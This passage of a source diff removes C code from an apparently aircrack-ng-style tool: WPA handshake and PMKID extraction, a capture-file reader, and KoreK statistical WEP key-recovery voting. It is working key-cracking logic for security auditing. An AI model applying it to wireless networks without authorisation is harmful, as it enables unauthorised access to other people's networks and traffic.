-	if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E) return 0;
-
-	z += 2;
-
-	ap_cur->eapol = 1;
-
-	/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
-
-	if (h80211[z + 1] != 0x03
-		|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
-		return 0;
-
-	ap_cur->eapol = 0;
-	if (!opt.forced_amode) ap_cur->crypt = 3; /* set WPA */
-
-	if (st_cur == NULL)
-	{
-		// NOTE: no station present; so we want to SKIP this AP.
-		return 1;
-	}
-
-	/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-		&& (h80211[z + 6] & 0x80) != 0
-		&& (h80211[z + 5] & 0x01) == 0)
-	{
-		memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
-
-		/* authenticator nonce set */
-		st_cur->wpa.state = 1;
-
-		if (h80211[z + 99] == 0xdd) // RSN
-		{
-			if (h80211[z + 101] == 0x00 && h80211[z + 102] == 0x0f
-				&& h80211[z + 103] == 0xac) // OUI: IEEE8021
-			{
-				if (h80211[z + 104] == 0x04) // OUI SUBTYPE
-				{
-					// Got a PMKID value?!
-					memcpy(st_cur->wpa.pmkid, &h80211[z + 105], 16);
-
-					/* copy the key descriptor version */
-					st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
-				}
-			}
-		}
-	}
-
-	/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-		&& (h80211[z + 6] & 0x80) == 0
-		&& (h80211[z + 5] & 0x01) != 0)
-	{
-		if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-		{
-			memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
-
-			/* supplicant nonce set */
-			st_cur->wpa.state |= 2;
-		}
-
-		if ((st_cur->wpa.state & 4) != 4)
-		{
-			/* copy the MIC & eapol frame */
-			st_cur->wpa.eapol_size
-				= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
-
-			if (st_cur->wpa.eapol_size == 0
-				|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
-				|| pkh->len - z < st_cur->wpa.eapol_size)
-			{
-				// Ignore the packet trying to crash us.
-				st_cur->wpa.eapol_size = 0;
-				return 0;
-			}
-
-			memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
-			memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
-			memset(st_cur->wpa.eapol + 81, 0, 16);
-
-			/* eapol frame & keymic set */
-			st_cur->wpa.state |= 4;
-
-			/* copy the key descriptor version */
-			st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
-		}
-	}
-
-	/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-	if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
-		&& (h80211[z + 6] & 0x80) != 0
-		&& (h80211[z + 5] & 0x01) != 0)
-	{
-		if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-		{
-			memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
-
-			/* authenticator nonce set */
-			st_cur->wpa.state |= 1;
-		}
-
-		if ((st_cur->wpa.state & 4) != 4)
-		{
-			/* copy the MIC & eapol frame */
-			st_cur->wpa.eapol_size
-				= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
-
-			if (st_cur->wpa.eapol_size == 0
-				|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
-				|| pkh->len - z < st_cur->wpa.eapol_size)
-			{
-				// Ignore the packet trying to crash us.
-				st_cur->wpa.eapol_size = 0;
-				return 0;
-			}
-
-			memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
-			memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
-			memset(st_cur->wpa.eapol + 81, 0, 16);
-
-			/* eapol frame & keymic set */
-			st_cur->wpa.state |= 4;
-
-			/* copy the key descriptor version */
-			st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
-		}
-	}
-
-	// The new PMKID attack permits any state greater than 0, with a PMKID
-	// present.
-	if (st_cur->wpa.state == 7
-		|| (st_cur->wpa.state > 0 && st_cur->wpa.pmkid[0] != 0x00))
-	{
-		/* got one valid handshake */
-		memcpy(st_cur->wpa.stmac, stmac, 6);
-		memcpy(&ap_cur->wpa, &st_cur->wpa, sizeof(struct WPA_hdsk));
-	}
-
-	return 0;
-}
-
-/**
- * Process a single packet, to extract useful access point data.
- *
- * @param me A reference to our own (this ptr) data.
- * @param bssid The base station MAC address.
- * @param dest An extra base station MAC address. ?
- * @param fmt The incoming packet \a buffer binary format.
- * @param buffer The incoming packet data.
- * @param h80211 A reference within \a buffer for the 802.11 frame.
- * @param ivs2 A reference to an IVS2 packet structure.
- * @param pkh A reference to the packet's header content.
- * @param ap_cur An output parameter to hold a found, or updated, AP base
- *               station.
- * @return Returns zero on success. Returns non-zero for an error (> zero)
- *         or exception (< zero).
- */
-static int packet_reader_process_packet(packet_reader_t * me,
-										uint8_t * bssid,
-										uint8_t * dest,
-										int fmt,
-										unsigned char * buffer,
-										unsigned char * h80211,
-										struct ivs2_pkthdr * ivs2,
-										struct pcap_pkthdr * pkh,
-										struct AP_info ** ap_cur)
-{
-	assert(me != NULL);
-	assert(bssid != NULL);
-	assert(dest != NULL);
-	assert(buffer != NULL);
-	assert(h80211 != NULL);
-	assert(ivs2 != NULL);
-	assert(pkh != NULL);
-	assert(ap_cur != NULL);
-
-	*ap_cur = NULL;
-
-	nb_pkt++;
-
-	if (fmt == FORMAT_CAP)
-	{
-		/* skip packets smaller than a 802.11 header */
-
-		if (pkh->caplen < 24) return 0;
-
-		/* skip (uninteresting) control frames */
-
-		if ((h80211[0] & 0x0C) == 0x04) return 0;
-
-		/* locate the access point's MAC address */
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				memcpy(bssid, h80211 + 16, 6);
-				break; // Adhoc
-			case 1:
-				memcpy(bssid, h80211 + 4, 6);
-				break; // ToDS
-			case 2:
-				memcpy(bssid, h80211 + 10, 6);
-				break; // FromDS
-			case 3:
-				memcpy(bssid, h80211 + 10, 6);
-				break; // WDS -> Transmitter taken as BSSID
-			default:
-				fprintf(stderr,
-						"Expected a value between 0 and 3, got %d.\n",
-						h80211[1] & 3);
-				break;
-		}
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				memcpy(dest, h80211 + 4, 6);
-				break; // Adhoc
-			case 1:
-				memcpy(dest, h80211 + 16, 6);
-				break; // ToDS
-			case 2:
-				memcpy(dest, h80211 + 4, 6);
-				break; // FromDS
-			case 3:
-				memcpy(dest, h80211 + 16, 6);
-				break; // WDS -> Transmitter taken as BSSID
-			default:
-				fprintf(stderr,
-						"Expected a value between 0 and 3, got %d.\n",
-						h80211[1] & 3);
-				break;
-		}
-
-		// skip corrupted keystreams in wep decloak mode
-		if (opt.wep_decloak)
-		{
-			if (dest[0] == 0x01) return 0;
-		}
-	}
-
-	if (opt.bssidmerge) mergebssids(opt.bssidmerge, bssid);
-
-	if (memcmp(bssid, BROADCAST, 6) == 0)
-		/* probe request or such - skip the packet */
-		return 0;
-
-	if (me->mode == PACKET_READER_READ_MODE)
-	{
-		if (memcmp(bssid, opt.bssid, 6) != 0) return 0;
-	}
-
-	if (memcmp(opt.maddr, ZERO, 6) != 0 && memcmp(opt.maddr, BROADCAST, 6) != 0)
-	{
-		/* apply the MAC filter */
-		if (memcmp(opt.maddr, h80211 + 4, 6) != 0
-			&& memcmp(opt.maddr, h80211 + 10, 6) != 0
-			&& memcmp(opt.maddr, h80211 + 16, 6) != 0)
-			return 0;
-	}
-
-	/* search for the station */
-
-	int not_found = c_avl_get(access_points, bssid, (void **) ap_cur);
-
-	/* if it's a new access point, add it */
-	if (not_found)
-	{
-		if (!(*ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
-		{
-			perror("malloc failed");
-			return -1;
-		}
-
-		memset((*ap_cur), 0, sizeof(struct AP_info));
-		memcpy((*ap_cur)->bssid, bssid, 6);
-
-		(*ap_cur)->crypt = -1;
-
-		// Shortcut to set encryption:
-		// - WEP is 2 for 'crypt' and 1 for 'amode'.
-		// - WPA is 3 for 'crypt' and 2 for 'amode'.
-		if (opt.forced_amode) (*ap_cur)->crypt = opt.amode + 1;
-
-		if (me->mode == PACKET_READER_READ_MODE && opt.do_ptw == 1)
-		{
-			(*ap_cur)->ptw_clean = PTW_newattackstate();
-			if (!(*ap_cur)->ptw_clean)
-			{
-				perror("PTW_newattackstate()");
-				free(*ap_cur);
-				*ap_cur = NULL;
-				return -1;
-			}
-			(*ap_cur)->ptw_vague = PTW_newattackstate();
-			if (!(*ap_cur)->ptw_vague)
-			{
-				perror("PTW_newattackstate()");
-				free(*ap_cur);
-				*ap_cur = NULL;
-				return -1;
-			}
-		}
-		(*ap_cur)->stations = c_avl_create(station_compare);
-		append_ap(*ap_cur);
-	}
-
-	int rv = packet_reader__update_ap_info(
-		*ap_cur, fmt, buffer, h80211, ivs2, pkh, me);
-	if (rv != 0)
-	{
-		if (rv > 0)
-		{
-			// NOTE: skipping this AP base station.
-			*ap_cur = NULL;
-			return 1;
-		}
-		else
-		{
-			// NOTE: an error occurred.
-			return rv;
-		}
-	}
-
-	return 0;
-}
-
-/**
- * Thread controlling the processing of packet data from a file or stream.
- *
- * This thread is called in one of two possible ways:
- *
- * a. With a BSSID specified from the command-line parameters.
- *
- * b. Without a BSSID specified in the command-line parameters.
- *
- * The goal of both is, to read one or more AP base-stations from the packet
- * capture files given (passed inside of \a arg); producing our needed
- * structures for later cracking.
- *
- * When a BSSID is specified, we ONLY read data relating to that BSSID. This
- * mode is called PACKET_READER_READ_MODE.
- *
- * Otherwise, the entire file is loaded in to RAM. This mode is called
- * PACKET_READER_CHECK_MODE.
- *
- * **NOTE**: This thread is joinable, and MUST be joined after use.
- *
- * @param arg A heap allocated, filled in \a packet_reader_t structure.
- *            We handle releasing the memory upon function exit.
- */
-static void packet_reader_thread(void * arg)
-{
-	packet_reader_t * request = (packet_reader_t *) arg;
-	unsigned char * buffer = NULL;
-	read_buf rb = {0};
-
-	int fd = -1;
-	int n;
-	int fmt;
-
-	unsigned char bssid[6] = {0};
-	unsigned char dest[6] = {0};
-	unsigned char * h80211 = NULL;
-
-	struct ivs2_pkthdr ivs2 = {0};
-	struct ivs2_filehdr fivs2 = {0};
-	struct pcap_pkthdr pkh = {0};
-	struct pcap_file_header pfh = {0};
-	struct AP_info * ap_cur = NULL;
-
-	assert(request != NULL);
-	assert(request->filename != NULL);
-	assert((request->mode == PACKET_READER_CHECK_MODE)
-		   || (request->mode == PACKET_READER_READ_MODE));
-
-	signal(SIGINT, sighandler);
-
-	if ((buffer = (unsigned char *) malloc(65536)) == NULL)
-	{
-		/* there is no buffer */
-		perror("malloc failed");
-		goto read_fail;
-	}
-
-	h80211 = buffer;
-
-	if (!opt.is_quiet) printf("Opening %s\n", request->filename);
-
-	if (strcmp(request->filename, "-") == 0)
-		fd = 0;
-	else
-	{
-		if ((fd = open(request->filename, O_RDONLY | O_BINARY)) < 0)
-		{
-			fprintf(stderr,
-					"Failed to open '%s' (%d): %s\n",
-					request->filename,
-					errno,
-					strerror(errno));
-			goto read_fail;
-		}
-	}
-
-	if (!atomic_read(&rb, fd, 4, &pfh))
-	{
-		perror("read(file header) failed");
-		goto read_fail;
-	}
-
-	fmt = FORMAT_IVS;
-	if (memcmp(&pfh, HCCAPX_MAGIC, 4) == 0)
-	{
-		fmt = FORMAT_HCCAPX;
-	}
-	else if (memcmp(&pfh, IVSONLY_MAGIC, 4) != 0
-			 && memcmp(&pfh, IVS2_MAGIC, 4) != 0)
-	{
-		fmt = FORMAT_CAP;
-
-		if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"Unsupported file format "
-					"(not a pcap or IVs file).\n");
-			goto read_fail;
-		}
-
-		/* read the rest of the pcap file header */
-
-		if (!atomic_read(&rb, fd, 20, (unsigned char *) &pfh + 4))
-		{
-			perror("read(file header) failed");
-			goto read_fail;
-		}
-
-		/* take care of endian issues and check the link type */
-
-		if (pfh.magic == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
-
-		if (pfh.linktype != LINKTYPE_IEEE802_11
-			&& pfh.linktype != LINKTYPE_PRISM_HEADER
-			&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
-			&& pfh.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"This file is not a regular "
-					"802.11 (wireless) capture.\n");
-			goto read_fail;
-		}
-	}
-	else
-	{
-		if (opt.wep_decloak)
-		{
-			fprintf(stderr, "Can't use decloak wep mode with ivs\n");
-			goto read_fail;
-		}
-
-		if (memcmp(&pfh, IVS2_MAGIC, 4) == 0)
-		{
-			fmt = FORMAT_IVS2;
-
-			if (!atomic_read(&rb,
-							 fd,
-							 sizeof(struct ivs2_filehdr),
-							 (unsigned char *) &fivs2))
-			{
-				perror("read(file header) failed");
-				goto read_fail;
-			}
-
-			if (fivs2.version > IVS2_VERSION)
-			{
-				fprintf(stderr,
-						"Error, wrong %s version: %d. Supported up to version "
-						"%d.\n",
-						IVS2_EXTENSION,
-						fivs2.version,
-						IVS2_VERSION);
-				goto read_fail;
-			}
-		}
-		else if (opt.do_ptw)
-		{
-			fprintf(stderr,
-					"Can't do PTW with old IVS files, recapture without --ivs "
-					"or use airodump-ng >= 1.0\n");
-			goto read_fail;
-		}
-	}
-
-	/* avoid blocking on reading the file */
-	if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0)
-	{
-		perror("fcntl(O_NONBLOCK) failed");
-		goto read_fail;
-	}
-
-	while (1)
-	{
-		if (close_aircrack) break;
-
-		if (fmt == FORMAT_IVS)
-		{
-			/* read one IV */
-			if (!atomic_read(&rb, fd, 1, buffer)) goto done_reading;
-
-			if (close_aircrack) break;
-
-			if (buffer[0] != 0xFF)
-			{
-				/* new access point MAC */
-				bssid[0] = buffer[0];
-
-				if (!atomic_read(&rb, fd, 5, bssid + 1)) goto done_reading;
-			}
-
-			if (!atomic_read(&rb, fd, 5, buffer)) goto done_reading;
-		}
-		else if (fmt == FORMAT_IVS2)
-		{
-			if (!atomic_read(&rb, fd, sizeof(struct ivs2_pkthdr), &ivs2))
-				goto done_reading;
-
-			if (ivs2.flags & IVS2_BSSID)
-			{
-				if (!atomic_read(&rb, fd, 6, bssid)) goto done_reading;
-
-				ivs2.len -= 6;
-			}
-
-			if (!atomic_read(&rb, fd, ivs2.len, buffer)) goto done_reading;
-		}
-		else if (fmt == FORMAT_HCCAPX)
-		{
-			load_hccapx_file(fd);
-			goto done_reading;
-		}
-		else
-		{
-			if (!atomic_read(&rb, fd, sizeof(pkh), &pkh)) goto done_reading;
-
-			if (pfh.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			if (pkh.caplen <= 0 || pkh.caplen > 65535)
-			{
-				fprintf(stderr,
-						"\nInvalid packet capture length %lu - "
-						"corrupted file?\n",
-						(unsigned long) pkh.caplen);
-				goto done_reading;
-			}
-
-			if (!atomic_read(&rb, fd, pkh.caplen, buffer)) goto done_reading;
-
-			h80211 = buffer;
-
-			if (pfh.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				/* remove the prism header */
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-				{
-					n = *(int *) (h80211 + 4);
-
-					if (pfh.magic == TCPDUMP_CIGAM) SWAP32(n);
-				}
-
-				if (n < 8 || n >= (int) pkh.caplen) continue;
-
-				h80211 += n;
-				pkh.caplen -= n;
-			}
-
-			else if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-				h80211 += n;
-				pkh.caplen -= n;
-			}
-
-			else if (pfh.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* Remove the PPI header */
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-				h80211 += n;
-				pkh.caplen -= n;
-			}
-			else if (pfh.linktype == LINKTYPE_IEEE802_11)
-			{
-				/* nothing to do */
-			}
-			else
-			{
-				fprintf(stderr, "unsupported linktype %d\n", pfh.linktype);
-				continue;
-			}
-		}
-
-		pthread_mutex_lock(&mx_apl);
-
-		int rv = packet_reader_process_packet(
-			request, bssid, dest, fmt, buffer, h80211, &ivs2, &pkh, &ap_cur);
-
-		pthread_mutex_unlock(&mx_apl);
-
-		if (rv < 0)
-		{
-			// NOTE: An error occurred during processing, bail!
-			goto read_fail;
-		}
-
-		if (ap_cur != NULL)
-		{
-			if ((ap_cur->nb_ivs >= opt.max_ivs)
-				|| (ap_cur->nb_ivs_clean >= opt.max_ivs)
-				|| (ap_cur->nb_ivs_vague >= opt.max_ivs))
-			{
-				goto done_reading;
-			}
-		}
-	}
-
-done_reading:
-	++nb_eof;
-
-read_fail:
-	if (buffer != NULL)
-	{
-		free(buffer);
-		buffer = NULL;
-	}
-
-	if (rb.buf1 != NULL)
-	{
-		free(rb.buf1);
-		rb.buf1 = NULL;
-	}
-
-	if (rb.buf2 != NULL)
-	{
-		free(rb.buf2);
-		rb.buf2 = NULL;
-	}
-
-	if (fd != -1) close(fd);
-
-	free(arg);
-}
-
-/* timing routine */
-
-float chrono(struct timeval * start, int reset)
-{
-	float delta;
-	struct timeval current;
-
-	gettimeofday(&current, NULL);
-
-	delta = (current.tv_sec - start->tv_sec)
-			+ (float) (current.tv_usec - start->tv_usec) / 1000000;
-
-	if (reset) gettimeofday(start, NULL);
-
-	return (delta);
-}
-
-/* signal-safe I/O routines */
-
-static int safe_read(int fd, void * buf, size_t len)
-{
-	int n;
-	size_t sum = 0;
-	char * off = (char *) buf;
-
-	while (sum < len)
-	{
-		if (!(n = read(fd, (void *) off, len - sum)))
-		{
-			return (0);
-		}
-		if (n < 0 && errno == EINTR) continue;
-		if (n < 0) return (n);
-
-		sum += n;
-		off += n;
-	}
-
-	return (sum);
-}
-
-static int safe_write(int fd, void * buf, size_t len)
-{
-	int n;
-	size_t sum = 0;
-	char * off = (char *) buf;
-
-	while (sum < len)
-	{
-		if ((n = write(fd, (void *) off, len - sum)) < 0)
-		{
-			if (errno == EINTR) continue;
-			return (n);
-		}
-
-		sum += n;
-		off += n;
-	}
-
-	return (sum);
-}
-
-/* each thread computes the votes over a subset of the IVs */
-
-static int crack_wep_thread(void * arg)
-{
-	long xv, min, max;
-	unsigned char jj[256];
-	unsigned char S[256], Si[256];
-	unsigned char K[64];
-
-	unsigned char io1, o1, io2, o2;
-	unsigned char Sq, dq, Kq, jq, q;
-	unsigned char S1, S2, J2, t2;
-
-	int i, j, B, cid = (long) arg;
-	int votes[N_ATTACKS][256];
-	// first: first S-Box Setup; first2:first round with new key; oldB: old B
-	// value
-	int first = 1, first2 = 1, oldB = 0, oldq = 0;
-
-	memcpy(S, R, 256);
-	memcpy(Si, R, 256);
-	while (1)
-	{
-		if (!first) oldB = B;
-
-		if (safe_read(mc_pipe[cid][0], (void *) &B, sizeof(int)) != sizeof(int))
-		{
-			perror("read failed");
-			kill(0, SIGTERM);
-			_exit(FAILURE);
-		}
-		if (close_aircrack) break;
-
-		first2 = 1;
-
-		min = 5 * (((cid) *wep.nb_ivs) / opt.nbcpu);
-		max = 5 * (((1 + cid) * wep.nb_ivs) / opt.nbcpu);
-
-		q = 3 + B;
-
-		memcpy(K + 3, wep.key, B);
-		memset(votes, 0, sizeof(votes));
-
-		/* START: KoreK attacks */
-
-		for (xv = min; xv < max; xv += 5)
-		{
-			if (!first)
-			{
-				for (i = 0; i < oldq; i++)
-				{
-					S[i] = Si[i] = i;
-					S[jj[i]] = Si[jj[i]] = jj[i];
-					// 					Si[i] = i;
-					// 					Si[jj[i]] = jj[i];
-				}
-			}
-
-			pthread_mutex_lock(&mx_ivb);
-
-			memcpy(K, &wep.ivbuf[xv], 3);
-
-			for (i = j = 0; i < q; i++)
-			{
-				//				i can never be 3+opt.keylen or exceed it, as i
-				//runs
-				// from 0 to q and q is defined as 3+B (with B the keybyte to
-				// attack)
-				// 				jj[i] = j = ( j + S[i] + K[i % (3 + opt.keylen)] )
-				// &
-				// 0xFF;
-				jj[i] = j = (j + S[i] + K[i]) & 0xFF;
-				SWAP(S[i], S[j]);
-			}
-
-			i = q;
-			do
-			{
-				i--;
-				SWAP(Si[i], Si[jj[i]]);
-			} while (i != 0);
-
-			o1 = wep.ivbuf[xv + 3] ^ 0xAA;
-			io1 = Si[o1];
-			S1 = S[1];
-			o2 = wep.ivbuf[xv + 4] ^ 0xAA;
-			io2 = Si[o2];
-			S2 = S[2];
-			pthread_mutex_unlock(&mx_ivb);
-
-			if (first) first = 0;
-			if (first2)
-			{
-				oldB = B;
-				oldq = 3 + oldB;
-				first2 = 0;
-			}
-
-			Sq = S[q];
-			dq = Sq + jj[q - 1];
-
-			if (S2 == 0)
-			{
-				if ((S1 == 2) && (o1 == 2))
-				{
-					Kq = 1 - dq;
-					votes[A_neg][Kq]++;
-					Kq = 2 - dq;
-					votes[A_neg][Kq]++;
-					// to signal general usage
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// to know which attack used this iv
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_neg);
-				}
-				else if (o2 == 0)
-				{
-					Kq = 2 - dq;
-					votes[A_neg][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_neg);
-				}
-			}
-			else
-			{
-				if ((o2 == 0) && (Sq == 0))
-				{
-					Kq = 2 - dq;
-					votes[A_u15][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_u15);
-				}
-			}
-
-			if ((S1 == 1) && (o1 == S2))
-			{
-				Kq = 1 - dq;
-				votes[A_neg][Kq]++;
-				Kq = 2 - dq;
-				votes[A_neg][Kq]++;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
-				// USE_IV;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-				// <<
-				// (4+A_neg);
-			}
-
-			if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
-			{
-				Kq = 0 - dq;
-				votes[A_neg][Kq]++;
-				Kq = 1 - dq;
-				votes[A_neg][Kq]++;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
-				// USE_IV;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-				// <<
-				// (4+A_neg);
-			}
-
-			if (S1 == q)
-			{
-				if (o1 == q)
-				{
-					Kq = Si[0] - dq;
-					votes[A_s13][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_s13);
-				}
-				else if (((1 - q - o1) & 0xFF) == 0)
-				{
-					Kq = io1 - dq;
-					votes[A_u13_1][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_u13_1);
-				}
-				else if (io1 < q)
-				{
-					jq = Si[(io1 - q) & 0xFF];
-
-					if (jq != 1)
-					{
-						Kq = jq - dq;
-						votes[A_u5_1][Kq]++;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// USE_IV;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// 1 << (4+A_u5_1);
-					}
-				}
-			}
-
-			if ((io1 == 2) && (S[q] == 1))
-			{
-				Kq = 1 - dq;
-				votes[A_u5_2][Kq]++;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
-				// USE_IV;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-				// <<
-				// (4+A_u5_2);
-			}
-
-			if (S[q] == q)
-			{
-				if ((S1 == 0) && (o1 == q))
-				{
-					Kq = 1 - dq;
-					votes[A_u13_2][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_u13_2);
-				}
-				else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
-				{
-					Kq = 1 - dq;
-					votes[A_u13_3][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_u13_3);
-				}
-				else if ((S1 >= ((-q) & 0xFF))
-						 && (((q + S1 - io1) & 0xFF) == 0))
-				{
-					Kq = 1 - dq;
-					votes[A_u5_3][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_u5_3);
-				}
-			}
-
-			if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
-				&& (io1 != S[S1]))
-			{
-				Kq = io1 - dq;
-				votes[A_s5_1][Kq]++;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
-				// USE_IV;
-				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-				// <<
-				// (4+A_s5_1);
-			}
-
-			if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
-			{
-				if (o2 == S1)
-				{
-					jq = Si[(S1 - S2) & 0xFF];
-
-					if ((jq != 1) && (jq != 2))
-					{
-						Kq = jq - dq;
-						votes[A_s5_2][Kq]++;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// USE_IV;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// 1 << (4+A_s5_2);
-					}
-				}
-				else if (o2 == ((2 - S2) & 0xFF))
-				{
-					jq = io2;
-
-					if ((jq != 1) && (jq != 2))
-					{
-						Kq = jq - dq;
-						votes[A_s5_3][Kq]++;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// USE_IV;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// 1 << (4+A_s5_3);
-					}
-				}
-			}
-
-			if ((S[1] != 2) && (S[2] != 0))
-			{
-				J2 = S[1] + S[2];
-
-				if (J2 < q)
-				{
-					t2 = S[J2] + S[2];
-
-					if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
-					{
-						Kq = io2 - dq;
-						votes[A_s3][Kq]++;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// USE_IV;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// 1 << (4+A_s3);
-					}
-				}
-			}
-
-			if (S1 == 2)
-			{
-				if (q == 4)
-				{
-					if (o2 == 0)
-					{
-						Kq = Si[0] - dq;
-						votes[A_4_s13][Kq]++;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// USE_IV;
-						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-						// |=
-						// 1 << (4+A_4_s13);
-					}
-					else
-					{
-						if ((jj[1] == 2) && (io2 == 0))
-						{
-							Kq = Si[254] - dq;
-							votes[A_4_u5_1][Kq]++;
-							// 							all_ivs[256*256*K[0] + 256*K[1]
-							// +
-							// K[2]].used |= USE_IV;
-							// 							all_ivs[256*256*K[0] + 256*K[1]
-							// +
-							// K[2]].used |= 1 << (4+A_4_u5_1);
-						}
-						if ((jj[1] == 2) && (io2 == 2))
-						{
-							Kq = Si[255] - dq;
-							votes[A_4_u5_2][Kq]++;
-							// 							all_ivs[256*256*K[0] + 256*K[1]
-							// +
-							// K[2]].used |= USE_IV;
-							// 							all_ivs[256*256*K[0] + 256*K[1]
-							// +
-							// K[2]].used |= 1 << (4+A_4_u5_2);
-						}
-					}
-				}
-				else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1)
-						 && (io2 != 4))
-				{
-					Kq = io2 - dq;
-					votes[A_u5_4][Kq]++;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
-					// |=
-					// USE_IV;
-					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
-					// <<
-					// (4+A_u5_4);
-				}
-			}
-			if (close_aircrack) break;
-		}
-		if (close_aircrack) break;
-		/* END: KoreK attacks */
-
-		if (safe_write(cm_pipe[cid][1], votes, sizeof(votes)) != sizeof(votes))
-		{
